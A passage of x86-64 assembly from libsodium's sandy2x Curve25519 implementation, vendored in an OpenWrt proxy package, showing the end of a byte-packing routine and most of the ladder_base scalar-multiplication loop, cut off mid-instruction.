%dl,21(%rdi) mov %r9,%rdx shr $23,%rdx and $0xFF,%edx movb %dl,22(%rdi) mov %r9,%rdx shr $31,%rdx and $0xFF,%edx movb %dl,23(%rdi) mov %r9,%rdx shr $39,%rdx and $0xFF,%edx movb %dl,24(%rdi) mov %r9,%rdx shr $47,%rdx mov %rsi,%rcx shl $4,%rcx and $0xF0,%ecx xor %rdx,%rcx movb %cl,25(%rdi) mov %rsi,%rdx shr $4,%rdx and $0xFF,%edx movb %dl,26(%rdi) mov %rsi,%rdx shr $12,%rdx and $0xFF,%edx movb %dl,27(%rdi) mov %rsi,%rdx shr $20,%rdx and $0xFF,%edx movb %dl,28(%rdi) mov %rsi,%rdx shr $28,%rdx and $0xFF,%edx movb %dl,29(%rdi) mov %rsi,%rdx shr $36,%rdx and $0xFF,%edx movb %dl,30(%rdi) mov %rsi,%rsi shr $44,%rsi movb %sil,31(%rdi) movq 0(%rsp),%r11 movq 8(%rsp),%r12 add %r11,%rsp ret #endif
281677160/openwrt-package	30,292	luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/ladder_base.S	#ifdef IN_SANDY2X #include "ladder_base_namespace.h" #include "consts_namespace.h" .p2align 5 .globl ladder_base .globl _ladder_base #ifdef __ELF__ .type ladder_base, @function .type _ladder_base, @function #endif ladder_base: _ladder_base: mov %rsp,%r11 and $31,%r11 add $1568,%r11 sub %r11,%rsp movq %r11,1536(%rsp) movq %r12,1544(%rsp) movq %r13,1552(%rsp) movdqa v0_0(%rip),%xmm0 movdqa v1_0(%rip),%xmm1 movdqa v9_0(%rip),%xmm2 movdqa %xmm2,0(%rsp) movdqa %xmm0,16(%rsp) movdqa %xmm0,32(%rsp) movdqa %xmm0,48(%rsp) movdqa %xmm0,64(%rsp) movdqa %xmm1,80(%rsp) movdqa %xmm0,96(%rsp) movdqa %xmm0,112(%rsp) movdqa %xmm0,128(%rsp) movdqa %xmm0,144(%rsp) movdqa %xmm1,%xmm0 pxor %xmm1,%xmm1 pxor %xmm2,%xmm2 pxor %xmm3,%xmm3 pxor %xmm4,%xmm4 pxor %xmm5,%xmm5 pxor %xmm6,%xmm6 pxor %xmm7,%xmm7 pxor %xmm8,%xmm8 pxor %xmm9,%xmm9 movq 0(%rsi),%rdx movq 8(%rsi),%rcx movq 16(%rsi),%r8 movq 24(%rsi),%r9 shrd $1,%rcx,%rdx shrd $1,%r8,%rcx shrd $1,%r9,%r8 shr $1,%r9 xorq 0(%rsi),%rdx xorq 8(%rsi),%rcx xorq 16(%rsi),%r8 xorq 24(%rsi),%r9 leaq 512(%rsp),%rsi mov $64,%rax ._ladder_base_small_loop: mov %rdx,%r10 mov %rcx,%r11 mov %r8,%r12 mov %r9,%r13 shr $1,%rdx shr $1,%rcx shr $1,%r8 shr $1,%r9 and $1,%r10d and $1,%r11d and $1,%r12d and $1,%r13d neg %r10 neg %r11 neg %r12 neg %r13 movl %r10d,0(%rsi) movl %r11d,256(%rsi) movl %r12d,512(%rsi) movl %r13d,768(%rsi) add $4,%rsi sub $1,%rax jne ._ladder_base_small_loop mov $255,%rdx add $760,%rsi ._ladder_base_loop: sub $1,%rdx vbroadcastss 0(%rsi),%xmm10 sub $4,%rsi movdqa 0(%rsp),%xmm11 movdqa 80(%rsp),%xmm12 vpxor %xmm11,%xmm0,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm0 pxor %xmm13,%xmm11 vpxor %xmm12,%xmm1,%xmm13 pand %xmm10,%xmm13 pxor %xmm13,%xmm1 pxor %xmm13,%xmm12 movdqa 16(%rsp),%xmm13 movdqa 96(%rsp),%xmm14 vpxor %xmm13,%xmm2,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm2 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm3,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm3 pxor %xmm15,%xmm14 movdqa %xmm13,0(%rsp) movdqa %xmm14,16(%rsp) movdqa 32(%rsp),%xmm13 movdqa 112(%rsp),%xmm14 vpxor %xmm13,%xmm4,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm4 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm5,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm5 pxor %xmm15,%xmm14 movdqa %xmm13,32(%rsp) movdqa %xmm14,80(%rsp) movdqa 48(%rsp),%xmm13 movdqa 128(%rsp),%xmm14 vpxor %xmm13,%xmm6,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm6 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm7,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm7 pxor %xmm15,%xmm14 movdqa %xmm13,48(%rsp) movdqa %xmm14,96(%rsp) movdqa 64(%rsp),%xmm13 movdqa 144(%rsp),%xmm14 vpxor %xmm13,%xmm8,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm8 pxor %xmm15,%xmm13 vpxor %xmm14,%xmm9,%xmm15 pand %xmm10,%xmm15 pxor %xmm15,%xmm9 pxor %xmm15,%xmm14 movdqa %xmm13,64(%rsp) movdqa %xmm14,112(%rsp) vpaddq subc0(%rip),%xmm11,%xmm10 psubq %xmm12,%xmm10 paddq %xmm12,%xmm11 vpunpckhqdq %xmm10,%xmm11,%xmm12 vpunpcklqdq %xmm10,%xmm11,%xmm10 vpaddq %xmm1,%xmm0,%xmm11 paddq subc0(%rip),%xmm0 psubq %xmm1,%xmm0 vpunpckhqdq %xmm11,%xmm0,%xmm1 vpunpcklqdq %xmm11,%xmm0,%xmm0 vpmuludq %xmm0,%xmm10,%xmm11 vpmuludq %xmm1,%xmm10,%xmm13 movdqa %xmm1,128(%rsp) paddq %xmm1,%xmm1 vpmuludq %xmm0,%xmm12,%xmm14 movdqa %xmm0,144(%rsp) paddq %xmm14,%xmm13 vpmuludq %xmm1,%xmm12,%xmm0 movdqa %xmm1,160(%rsp) vpaddq %xmm3,%xmm2,%xmm1 paddq subc2(%rip),%xmm2 psubq %xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm3 vpunpcklqdq %xmm1,%xmm2,%xmm1 vpmuludq %xmm1,%xmm10,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm3,%xmm10,%xmm2 movdqa %xmm3,176(%rsp) paddq %xmm3,%xmm3 vpmuludq %xmm1,%xmm12,%xmm14 movdqa %xmm1,192(%rsp) paddq %xmm14,%xmm2 vpmuludq %xmm3,%xmm12,%xmm1 movdqa %xmm3,208(%rsp) vpaddq %xmm5,%xmm4,%xmm3 paddq subc2(%rip),%xmm4 psubq %xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm4,%xmm5 vpunpcklqdq %xmm3,%xmm4,%xmm3 vpmuludq %xmm3,%xmm10,%xmm4 paddq %xmm4,%xmm1 vpmuludq %xmm5,%xmm10,%xmm4 movdqa %xmm5,224(%rsp) paddq %xmm5,%xmm5 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,240(%rsp) paddq %xmm14,%xmm4 vpaddq %xmm7,%xmm6,%xmm3 paddq subc2(%rip),%xmm6 psubq %xmm7,%xmm6 vpunpckhqdq %xmm3,%xmm6,%xmm7 vpunpcklqdq %xmm3,%xmm6,%xmm3 vpmuludq %xmm3,%xmm10,%xmm6 vpmuludq %xmm5,%xmm12,%xmm14 movdqa %xmm5,256(%rsp) pmuludq v19_19(%rip),%xmm5 movdqa %xmm5,272(%rsp) paddq %xmm14,%xmm6 vpmuludq %xmm7,%xmm10,%xmm5 movdqa %xmm7,288(%rsp) paddq %xmm7,%xmm7 vpmuludq %xmm3,%xmm12,%xmm14 movdqa %xmm3,304(%rsp) paddq %xmm14,%xmm5 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,320(%rsp) vpaddq %xmm9,%xmm8,%xmm3 paddq subc2(%rip),%xmm8 psubq %xmm9,%xmm8 vpunpckhqdq %xmm3,%xmm8,%xmm9 vpunpcklqdq %xmm3,%xmm8,%xmm3 movdqa %xmm3,336(%rsp) vpmuludq %xmm7,%xmm12,%xmm8 movdqa %xmm7,352(%rsp) pmuludq v19_19(%rip),%xmm7 movdqa %xmm7,368(%rsp) vpmuludq %xmm3,%xmm10,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm9,%xmm10,%xmm7 movdqa %xmm9,384(%rsp) paddq %xmm9,%xmm9 vpmuludq %xmm3,%xmm12,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 movdqa %xmm3,400(%rsp) pmuludq v19_19(%rip),%xmm12 vpmuludq %xmm9,%xmm12,%xmm3 movdqa %xmm9,416(%rsp) paddq %xmm3,%xmm11 movdqa 0(%rsp),%xmm3 movdqa 16(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm13 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm0 movdqa 32(%rsp),%xmm3 movdqa 80(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm2 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm1 movdqa 48(%rsp),%xmm3 movdqa 96(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm5 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm4 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm8 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm6 movdqa 64(%rsp),%xmm3 movdqa 112(%rsp),%xmm9 vpaddq subc2(%rip),%xmm3,%xmm10 psubq %xmm9,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm10,%xmm3,%xmm9 vpunpcklqdq %xmm10,%xmm3,%xmm3 vpmuludq 144(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm8 vpmuludq 128(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm7 pmuludq v19_19(%rip),%xmm3 vpmuludq 192(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm11 vpmuludq 176(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm13 vpmuludq 240(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm0 vpmuludq 224(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm2 vpmuludq 304(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm1 vpmuludq 288(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm4 vpmuludq 336(%rsp),%xmm3,%xmm10 paddq %xmm10,%xmm6 pmuludq 384(%rsp),%xmm3 paddq %xmm3,%xmm5 vpmuludq 144(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm7 pmuludq v19_19(%rip),%xmm9 vpmuludq 160(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm11 vpmuludq 192(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm13 vpmuludq 208(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm0 vpmuludq 240(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpmuludq 256(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm1 vpmuludq 304(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm4 vpmuludq 352(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm6 vpmuludq 336(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm5 pmuludq 416(%rsp),%xmm9 paddq %xmm9,%xmm8 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $26,%xmm6,%xmm3 paddq %xmm3,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm13,%xmm3 paddq %xmm3,%xmm0 pand m25(%rip),%xmm13 vpsrlq $25,%xmm5,%xmm3 paddq %xmm3,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm0,%xmm3 paddq %xmm3,%xmm2 pand m26(%rip),%xmm0 vpsrlq $26,%xmm8,%xmm3 paddq %xmm3,%xmm7 pand m26(%rip),%xmm8 vpsrlq $25,%xmm2,%xmm3 paddq %xmm3,%xmm1 pand m25(%rip),%xmm2 vpsrlq $25,%xmm7,%xmm3 vpsllq $4,%xmm3,%xmm9 paddq %xmm3,%xmm11 psllq $1,%xmm3 paddq %xmm3,%xmm9 paddq %xmm9,%xmm11 pand m25(%rip),%xmm7 vpsrlq $26,%xmm1,%xmm3 paddq %xmm3,%xmm4 pand m26(%rip),%xmm1 vpsrlq $26,%xmm11,%xmm3 paddq %xmm3,%xmm13 pand m26(%rip),%xmm11 vpsrlq $25,%xmm4,%xmm3 paddq %xmm3,%xmm6 pand m25(%rip),%xmm4 vpunpcklqdq %xmm13,%xmm11,%xmm3 vpunpckhqdq %xmm13,%xmm11,%xmm9 vpaddq subc0(%rip),%xmm9,%xmm10 psubq %xmm3,%xmm10 paddq %xmm9,%xmm3 vpunpckhqdq %xmm3,%xmm10,%xmm9 punpcklqdq %xmm3,%xmm10 vpmuludq %xmm10,%xmm10,%xmm3 paddq %xmm10,%xmm10 vpmuludq %xmm9,%xmm10,%xmm11 vpunpcklqdq %xmm2,%xmm0,%xmm12 vpunpckhqdq %xmm2,%xmm0,%xmm0 vpaddq subc2(%rip),%xmm0,%xmm2 psubq %xmm12,%xmm2 paddq %xmm0,%xmm12 vpunpckhqdq %xmm12,%xmm2,%xmm0 punpcklqdq %xmm12,%xmm2 vpmuludq %xmm2,%xmm10,%xmm12 vpaddq %xmm9,%xmm9,%xmm13 vpmuludq %xmm13,%xmm9,%xmm9 paddq %xmm9,%xmm12 vpmuludq %xmm0,%xmm10,%xmm9 vpmuludq %xmm2,%xmm13,%xmm14 paddq %xmm14,%xmm9 vpunpcklqdq %xmm4,%xmm1,%xmm14 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpaddq subc2(%rip),%xmm1,%xmm4 psubq %xmm14,%xmm4 paddq %xmm1,%xmm14 vpunpckhqdq %xmm14,%xmm4,%xmm1 punpcklqdq %xmm14,%xmm4 movdqa %xmm1,0(%rsp) paddq %xmm1,%xmm1 movdqa %xmm1,16(%rsp) pmuludq v19_19(%rip),%xmm1 movdqa %xmm1,32(%rsp) vpmuludq %xmm4,%xmm10,%xmm1 vpmuludq %xmm2,%xmm2,%xmm14 paddq %xmm14,%xmm1 vpmuludq 0(%rsp),%xmm10,%xmm14 vpmuludq %xmm4,%xmm13,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq %xmm5,%xmm6,%xmm15 vpunpckhqdq %xmm5,%xmm6,%xmm5 vpaddq subc2(%rip),%xmm5,%xmm6 psubq %xmm15,%xmm6 paddq %xmm5,%xmm15 vpunpckhqdq %xmm15,%xmm6,%xmm5 punpcklqdq %xmm15,%xmm6 movdqa %xmm6,48(%rsp) pmuludq v19_19(%rip),%xmm6 movdqa %xmm6,64(%rsp) movdqa %xmm5,80(%rsp) pmuludq v38_38(%rip),%xmm5 movdqa %xmm5,96(%rsp) vpmuludq 48(%rsp),%xmm10,%xmm5 vpaddq %xmm0,%xmm0,%xmm6 vpmuludq %xmm6,%xmm0,%xmm0 paddq %xmm0,%xmm5 vpmuludq 80(%rsp),%xmm10,%xmm0 vpmuludq %xmm4,%xmm6,%xmm15 paddq %xmm15,%xmm0 vpmuludq %xmm6,%xmm13,%xmm15 paddq %xmm15,%xmm1 vpmuludq %xmm6,%xmm2,%xmm15 paddq %xmm15,%xmm14 vpunpcklqdq %xmm7,%xmm8,%xmm15 vpunpckhqdq %xmm7,%xmm8,%xmm7 vpaddq subc2(%rip),%xmm7,%xmm8 psubq %xmm15,%xmm8 paddq %xmm7,%xmm15 vpunpckhqdq %xmm15,%xmm8,%xmm7 punpcklqdq %xmm15,%xmm8 movdqa %xmm8,112(%rsp) pmuludq v19_19(%rip),%xmm8 movdqa %xmm8,160(%rsp) vpmuludq 112(%rsp),%xmm10,%xmm8 vpmuludq %xmm7,%xmm10,%xmm10 vpmuludq v38_38(%rip),%xmm7,%xmm15 vpmuludq %xmm15,%xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq %xmm15,%xmm13,%xmm7 paddq %xmm7,%xmm3 vpmuludq %xmm15,%xmm2,%xmm7 paddq %xmm7,%xmm11 vpmuludq 80(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm7 paddq %xmm7,%xmm8 vpmuludq 16(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm5 vpmuludq 48(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm0 vpmuludq 112(%rsp),%xmm13,%xmm7 paddq %xmm7,%xmm10 vpmuludq %xmm15,%xmm6,%xmm7 paddq %xmm7,%xmm12 vpmuludq %xmm15,%xmm4,%xmm7 paddq %xmm7,%xmm9 vpaddq %xmm2,%xmm2,%xmm2 vpmuludq %xmm4,%xmm2,%xmm7 paddq %xmm7,%xmm5 vpmuludq 160(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm3 vpmuludq 160(%rsp),%xmm6,%xmm7 paddq %xmm7,%xmm11 vpmuludq 0(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm0 vpmuludq 48(%rsp),%xmm2,%xmm7 paddq %xmm7,%xmm8 vpmuludq 80(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 vpmuludq 96(%rsp),%xmm4,%xmm2 paddq %xmm2,%xmm11 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm8 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq 160(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 16(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm1 vpmuludq 48(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm14 vpmuludq 96(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 160(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 16(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm8 vpmuludq 48(%rsp),%xmm6,%xmm4 paddq %xmm4,%xmm10 vpmuludq 80(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm4 paddq %xmm4,%xmm5 vpmuludq 112(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm0 movdqa 48(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 160(%rsp),%xmm4 paddq %xmm4,%xmm1 movdqa 80(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 160(%rsp),%xmm4 paddq %xmm4,%xmm14 vpmuludq 64(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm3 movdqa 16(%rsp),%xmm4 pmuludq 64(%rsp),%xmm4 paddq %xmm4,%xmm11 movdqa 16(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm12 movdqa 48(%rsp),%xmm4 pmuludq 96(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 0(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm10 movdqa 32(%rsp),%xmm2 pmuludq 0(%rsp),%xmm2 paddq %xmm2,%xmm3 movdqa 64(%rsp),%xmm2 pmuludq 48(%rsp),%xmm2 paddq %xmm2,%xmm12 movdqa 96(%rsp),%xmm2 pmuludq 80(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 160(%rsp),%xmm2 pmuludq 112(%rsp),%xmm2 paddq %xmm2,%xmm5 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $25,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m25(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm5 vpsrlq $26,%xmm12,%xmm2 paddq %xmm2,%xmm9 pand m26(%rip),%xmm12 vpsrlq $25,%xmm0,%xmm2 paddq %xmm2,%xmm8 pand m25(%rip),%xmm0 vpsrlq $25,%xmm9,%xmm2 paddq %xmm2,%xmm1 pand m25(%rip),%xmm9 vpsrlq $26,%xmm8,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm8 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm14 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm3 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm3 pand m25(%rip),%xmm10 vpsrlq $25,%xmm14,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm14 vpsrlq $26,%xmm3,%xmm2 paddq %xmm2,%xmm11 pand m26(%rip),%xmm3 vpunpckhqdq %xmm11,%xmm3,%xmm2 movdqa %xmm2,0(%rsp) vpunpcklqdq %xmm11,%xmm3,%xmm2 pmuludq v9_9(%rip),%xmm2 movdqa %xmm2,80(%rsp) vpunpckhqdq %xmm9,%xmm12,%xmm2 movdqa %xmm2,16(%rsp) vpunpcklqdq %xmm9,%xmm12,%xmm2 pmuludq v9_9(%rip),%xmm2 movdqa %xmm2,96(%rsp) vpunpckhqdq %xmm14,%xmm1,%xmm2 movdqa %xmm2,32(%rsp) vpunpcklqdq %xmm14,%xmm1,%xmm1 pmuludq v9_9(%rip),%xmm1 movdqa %xmm1,112(%rsp) vpunpckhqdq %xmm0,%xmm5,%xmm1 movdqa %xmm1,48(%rsp) vpunpcklqdq %xmm0,%xmm5,%xmm0 pmuludq v9_9(%rip),%xmm0 movdqa %xmm0,160(%rsp) vpunpckhqdq %xmm10,%xmm8,%xmm0 movdqa %xmm0,64(%rsp) vpunpcklqdq %xmm10,%xmm8,%xmm0 pmuludq v9_9(%rip),%xmm0 movdqa %xmm0,208(%rsp) movdqa 144(%rsp),%xmm0 vpmuludq %xmm0,%xmm0,%xmm1 paddq %xmm0,%xmm0 movdqa 128(%rsp),%xmm2 vpmuludq %xmm2,%xmm0,%xmm3 movdqa 192(%rsp),%xmm4 vpmuludq %xmm4,%xmm0,%xmm5 movdqa 176(%rsp),%xmm6 vpmuludq %xmm6,%xmm0,%xmm7 movdqa 240(%rsp),%xmm8 vpmuludq %xmm8,%xmm0,%xmm9 vpmuludq 224(%rsp),%xmm0,%xmm10 vpmuludq 304(%rsp),%xmm0,%xmm11 vpmuludq 288(%rsp),%xmm0,%xmm12 vpmuludq 336(%rsp),%xmm0,%xmm13 movdqa 384(%rsp),%xmm14 vpmuludq %xmm14,%xmm0,%xmm0 vpmuludq v38_38(%rip),%xmm14,%xmm15 vpmuludq %xmm15,%xmm14,%xmm14 paddq %xmm14,%xmm13 vpaddq %xmm6,%xmm6,%xmm14 vpmuludq %xmm14,%xmm6,%xmm6 paddq %xmm6,%xmm11 vpaddq %xmm2,%xmm2,%xmm6 vpmuludq %xmm6,%xmm2,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm6,%xmm2 paddq %xmm2,%xmm1 vpmuludq %xmm15,%xmm4,%xmm2 paddq %xmm2,%xmm3 vpmuludq 256(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm11 vpmuludq 304(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm12 vpmuludq 352(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm13 vpmuludq 336(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm4,%xmm6,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm14,%xmm6,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm8,%xmm6,%xmm2 paddq %xmm2,%xmm10 vpmuludq %xmm15,%xmm14,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm8,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm14,%xmm4,%xmm2 paddq %xmm2,%xmm10 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq %xmm8,%xmm2,%xmm4 paddq %xmm4,%xmm11 vpmuludq 400(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 vpmuludq 400(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm3 vpmuludq 224(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 304(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm13 vpmuludq 288(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 vpmuludq 